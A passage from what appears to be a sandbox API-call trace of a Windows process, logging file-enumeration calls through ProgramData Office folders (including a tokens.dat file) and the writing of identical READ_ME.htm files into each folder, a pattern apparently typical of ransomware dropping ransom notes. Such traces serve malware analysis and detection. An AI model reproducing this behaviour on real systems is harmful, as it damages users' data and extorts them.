ftCreationTime.dwLowDateTime=0x1ab22c10, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x3100cb20, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x3100cb20, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.366] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8294a900, ftCreationTime.dwHighDateTime=0x1d0ca66, ftLastAccessTime.dwLowDateTime=0x25661720, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x8294a900, ftLastWriteTime.dwHighDateTime=0x1d0ca66, nFileSizeHigh=0x0, nFileSizeLow=0x1536, dwReserved0=0x0, dwReserved1=0x0, cFileName="AssetLibrary.ico", cAlternateFileName="ASSETL~1.ICO")) returned 1 [0139.366] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1ab22c10, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x1ab22c10, ftLastAccessTime.dwHighDateTime=0x1d70910, ftLastWriteTime.dwLowDateTime=0x1ab22c10, ftLastWriteTime.dwHighDateTime=0x1d70910, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ClickToRunPackageLocker", cAlternateFileName="CLICKT~1")) returned 1 [0139.366] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8294a900, ftCreationTime.dwHighDateTime=0x1d0ca66, ftLastAccessTime.dwLowDateTime=0x26059340, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x8294a900, ftLastWriteTime.dwHighDateTime=0x1d0ca66, nFileSizeHigh=0x0, nFileSizeLow=0x627e, dwReserved0=0x0, dwReserved1=0x0, cFileName="DocumentRepository.ico", cAlternateFileName="DOCUME~1.ICO")) returned 1 [0139.366] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xc595ee0, ftCreationTime.dwHighDateTime=0x1d8a6e9, ftLastAccessTime.dwLowDateTime=0xc595ee0, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0xc595ee0, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Heartbeat", cAlternateFileName="HEARTB~1")) returned 1 [0139.366] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8294a900, ftCreationTime.dwHighDateTime=0x1d0ca66, ftLastAccessTime.dwLowDateTime=0x3100cb20, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x8294a900, ftLastWriteTime.dwHighDateTime=0x1d0ca66, nFileSizeHigh=0x0, nFileSizeLow=0x183c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="MySharePoints.ico", cAlternateFileName="MYSHAR~1.ICO")) returned 1 [0139.367] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8294a900, ftCreationTime.dwHighDateTime=0x1d0ca66, ftLastAccessTime.dwLowDateTime=0x1a5c9700, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x8294a900, ftLastWriteTime.dwHighDateTime=0x1d0ca66, nFileSizeHigh=0x0, nFileSizeLow=0x627e, dwReserved0=0x0, dwReserved1=0x0, cFileName="MySite.ico", cAlternateFileName="")) returned 1 [0139.367] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8294a900, ftCreationTime.dwHighDateTime=0x1d0ca66, ftLastAccessTime.dwLowDateTime=0x1e14bd00, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x8294a900, ftLastWriteTime.dwHighDateTime=0x1d0ca66, nFileSizeHigh=0x0, nFileSizeLow=0x627e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SharePointPortalSite.ico", cAlternateFileName="SHAREP~1.ICO")) returned 1 [0139.367] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8294a900, ftCreationTime.dwHighDateTime=0x1d0ca66, ftLastAccessTime.dwLowDateTime=0x1e171e60, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x8294a900, ftLastWriteTime.dwHighDateTime=0x1d0ca66, nFileSizeHigh=0x0, nFileSizeLow=0x627e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SharePointTeamSite.ico", cAlternateFileName="SHAREP~2.ICO")) returned 1 [0139.367] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8294a900, ftCreationTime.dwHighDateTime=0x1d0ca66, ftLastAccessTime.dwLowDateTime=0x1e171e60, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x8294a900, ftLastWriteTime.dwHighDateTime=0x1d0ca66, nFileSizeHigh=0x0, nFileSizeLow=0x627e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SharePointTeamSite.ico", cAlternateFileName="SHAREP~2.ICO")) returned 0 [0139.367] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0139.369] SetErrorMode (uMode=0x0) returned 0x1 [0139.369] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Office", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Office", lpFilePart=0x0) returned 0x1f [0139.369] SetErrorMode (uMode=0x1) returned 0x0 [0139.369] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Office\\*" (normalized: "c:\\programdata\\microsoft\\office\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1ab22c10, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x3100cb20, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x3100cb20, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0139.370] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1ab22c10, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x3100cb20, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x3100cb20, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.370] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8294a900, ftCreationTime.dwHighDateTime=0x1d0ca66, ftLastAccessTime.dwLowDateTime=0x25661720, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x8294a900, ftLastWriteTime.dwHighDateTime=0x1d0ca66, nFileSizeHigh=0x0, nFileSizeLow=0x1536, dwReserved0=0x0, dwReserved1=0x0, cFileName="AssetLibrary.ico", cAlternateFileName="ASSETL~1.ICO")) returned 1 [0139.371] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1ab22c10, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x1ab22c10, ftLastAccessTime.dwHighDateTime=0x1d70910, ftLastWriteTime.dwLowDateTime=0x1ab22c10, ftLastWriteTime.dwHighDateTime=0x1d70910, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ClickToRunPackageLocker", cAlternateFileName="CLICKT~1")) returned 1 [0139.371] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8294a900, ftCreationTime.dwHighDateTime=0x1d0ca66, ftLastAccessTime.dwLowDateTime=0x26059340, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x8294a900, ftLastWriteTime.dwHighDateTime=0x1d0ca66, nFileSizeHigh=0x0, nFileSizeLow=0x627e, dwReserved0=0x0, dwReserved1=0x0, cFileName="DocumentRepository.ico", cAlternateFileName="DOCUME~1.ICO")) returned 1 [0139.371] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xc595ee0, ftCreationTime.dwHighDateTime=0x1d8a6e9, ftLastAccessTime.dwLowDateTime=0xc595ee0, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0xc595ee0, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Heartbeat", cAlternateFileName="HEARTB~1")) returned 1 [0139.371] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8294a900, ftCreationTime.dwHighDateTime=0x1d0ca66, ftLastAccessTime.dwLowDateTime=0x3100cb20, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x8294a900, ftLastWriteTime.dwHighDateTime=0x1d0ca66, nFileSizeHigh=0x0, nFileSizeLow=0x183c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="MySharePoints.ico", cAlternateFileName="MYSHAR~1.ICO")) returned 1 [0139.371] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8294a900, ftCreationTime.dwHighDateTime=0x1d0ca66, ftLastAccessTime.dwLowDateTime=0x1a5c9700, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x8294a900, ftLastWriteTime.dwHighDateTime=0x1d0ca66, nFileSizeHigh=0x0, nFileSizeLow=0x627e, dwReserved0=0x0, dwReserved1=0x0, cFileName="MySite.ico", cAlternateFileName="")) returned 1 [0139.371] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8294a900, ftCreationTime.dwHighDateTime=0x1d0ca66, ftLastAccessTime.dwLowDateTime=0x1e14bd00, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x8294a900, ftLastWriteTime.dwHighDateTime=0x1d0ca66, nFileSizeHigh=0x0, nFileSizeLow=0x627e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SharePointPortalSite.ico", cAlternateFileName="SHAREP~1.ICO")) returned 1 [0139.371] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8294a900, ftCreationTime.dwHighDateTime=0x1d0ca66, ftLastAccessTime.dwLowDateTime=0x1e171e60, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x8294a900, ftLastWriteTime.dwHighDateTime=0x1d0ca66, nFileSizeHigh=0x0, nFileSizeLow=0x627e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SharePointTeamSite.ico", cAlternateFileName="SHAREP~2.ICO")) returned 1 [0139.371] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8294a900, ftCreationTime.dwHighDateTime=0x1d0ca66, ftLastAccessTime.dwLowDateTime=0x1e171e60, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x8294a900, ftLastWriteTime.dwHighDateTime=0x1d0ca66, nFileSizeHigh=0x0, nFileSizeLow=0x627e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SharePointTeamSite.ico", cAlternateFileName="SHAREP~2.ICO")) returned 0 [0139.371] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0139.372] SetErrorMode (uMode=0x0) returned 0x1 [0139.373] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Office\\Heartbeat", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Office\\Heartbeat", lpFilePart=0x0) returned 0x29 [0139.373] SetErrorMode (uMode=0x1) returned 0x0 [0139.373] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Office\\Heartbeat\\*" (normalized: "c:\\programdata\\microsoft\\office\\heartbeat\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xc595ee0, ftCreationTime.dwHighDateTime=0x1d8a6e9, ftLastAccessTime.dwLowDateTime=0xc595ee0, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0xc595ee0, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0139.386] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xc595ee0, ftCreationTime.dwHighDateTime=0x1d8a6e9, ftLastAccessTime.dwLowDateTime=0xc595ee0, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0xc595ee0, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.387] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xc595ee0, ftCreationTime.dwHighDateTime=0x1d8a6e9, ftLastAccessTime.dwLowDateTime=0xc595ee0, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0xc595ee0, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0139.387] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0139.387] SetErrorMode (uMode=0x0) returned 0x1 [0139.387] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Office\\Heartbeat", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Office\\Heartbeat", lpFilePart=0x0) returned 0x29 [0139.387] SetErrorMode (uMode=0x1) returned 0x0 [0139.387] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Office\\Heartbeat\\*" (normalized: "c:\\programdata\\microsoft\\office\\heartbeat\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xc595ee0, ftCreationTime.dwHighDateTime=0x1d8a6e9, ftLastAccessTime.dwLowDateTime=0xc595ee0, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0xc595ee0, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0139.388] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xc595ee0, ftCreationTime.dwHighDateTime=0x1d8a6e9, ftLastAccessTime.dwLowDateTime=0xc595ee0, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0xc595ee0, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.388] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xc595ee0, ftCreationTime.dwHighDateTime=0x1d8a6e9, ftLastAccessTime.dwLowDateTime=0xc595ee0, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0xc595ee0, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0139.388] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0139.388] SetErrorMode (uMode=0x0) returned 0x1 [0139.388] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Office\\Heartbeat\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cef0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Office\\Heartbeat\\READ_ME.htm", lpFilePart=0x0) returned 0x35 [0139.388] SetErrorMode (uMode=0x1) returned 0x0 [0139.389] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Office\\Heartbeat\\READ_ME.htm" (normalized: "c:\\programdata\\microsoft\\office\\heartbeat\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0139.389] GetFileType (hFile=0x1d0) returned 0x1 [0139.390] SetErrorMode (uMode=0x0) returned 0x1 [0139.390] GetFileType (hFile=0x1d0) returned 0x1 [0139.390] WriteFile (in: hFile=0x1d0, lpBuffer=0x287b820*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d458, lpOverlapped=0x0 | out: lpBuffer=0x287b820*, lpNumberOfBytesWritten=0x21d458*=0x720, lpOverlapped=0x0) returned 1 [0139.392] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Office\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cfb0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Office\\READ_ME.htm", lpFilePart=0x0) returned 0x2b [0139.392] SetErrorMode (uMode=0x1) returned 0x0 [0139.392] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Office\\READ_ME.htm" (normalized: "c:\\programdata\\microsoft\\office\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0139.393] GetFileType (hFile=0x1d0) returned 0x1 [0139.393] SetErrorMode (uMode=0x0) returned 0x1 [0139.393] GetFileType (hFile=0x1d0) returned 0x1 [0139.393] WriteFile (in: hFile=0x1d0, lpBuffer=0x287fd90*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d518, lpOverlapped=0x0 | out: lpBuffer=0x287fd90*, lpNumberOfBytesWritten=0x21d518*=0x720, lpOverlapped=0x0) returned 1 [0139.395] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform", lpFilePart=0x0) returned 0x39 [0139.395] SetErrorMode (uMode=0x1) returned 0x0 [0139.395] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\*" (normalized: "c:\\programdata\\microsoft\\officesoftwareprotectionplatform\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9152f250, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0xd7a2d040, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0xd7a2d040, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0139.400] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9152f250, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0xd7a2d040, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0xd7a2d040, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.401] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x92fd0870, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0xa7a637b0, ftLastAccessTime.dwHighDateTime=0x1d70910, ftLastWriteTime.dwLowDateTime=0xa7a637b0, ftLastWriteTime.dwHighDateTime=0x1d70910, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cache", cAlternateFileName="")) returned 1 [0139.401] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x95c26230, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0xd7a2d040, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0xe7074610, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x2da14d, dwReserved0=0x0, dwReserved1=0x0, cFileName="tokens.dat", cAlternateFileName="")) returned 1 [0139.401] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x95c26230, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0xd7a2d040, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0xe7074610, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x2da14d, dwReserved0=0x0, dwReserved1=0x0, cFileName="tokens.dat", cAlternateFileName="")) returned 0 [0139.401] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0139.401] SetErrorMode (uMode=0x0) returned 0x1 [0139.402] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform", lpFilePart=0x0) returned 0x39 [0139.402] SetErrorMode (uMode=0x1) returned 0x0 [0139.402] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\*" (normalized: "c:\\programdata\\microsoft\\officesoftwareprotectionplatform\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9152f250, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0xd7a2d040, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0xd7a2d040, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0139.402] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9152f250, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0xd7a2d040, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0xd7a2d040, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.403] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x92fd0870, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0xa7a637b0, ftLastAccessTime.dwHighDateTime=0x1d70910, ftLastWriteTime.dwLowDateTime=0xa7a637b0, ftLastWriteTime.dwHighDateTime=0x1d70910, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cache", cAlternateFileName="")) returned 1 [0139.403] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x95c26230, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0xd7a2d040, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0xe7074610, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x2da14d, dwReserved0=0x0, dwReserved1=0x0, cFileName="tokens.dat", cAlternateFileName="")) returned 1 [0139.403] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x95c26230, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0xd7a2d040, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0xe7074610, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x2da14d, dwReserved0=0x0, dwReserved1=0x0, cFileName="tokens.dat", cAlternateFileName="")) returned 0 [0139.403] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0139.403] SetErrorMode (uMode=0x0) returned 0x1 [0139.404] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache", lpFilePart=0x0) returned 0x3f [0139.404] SetErrorMode (uMode=0x1) returned 0x0 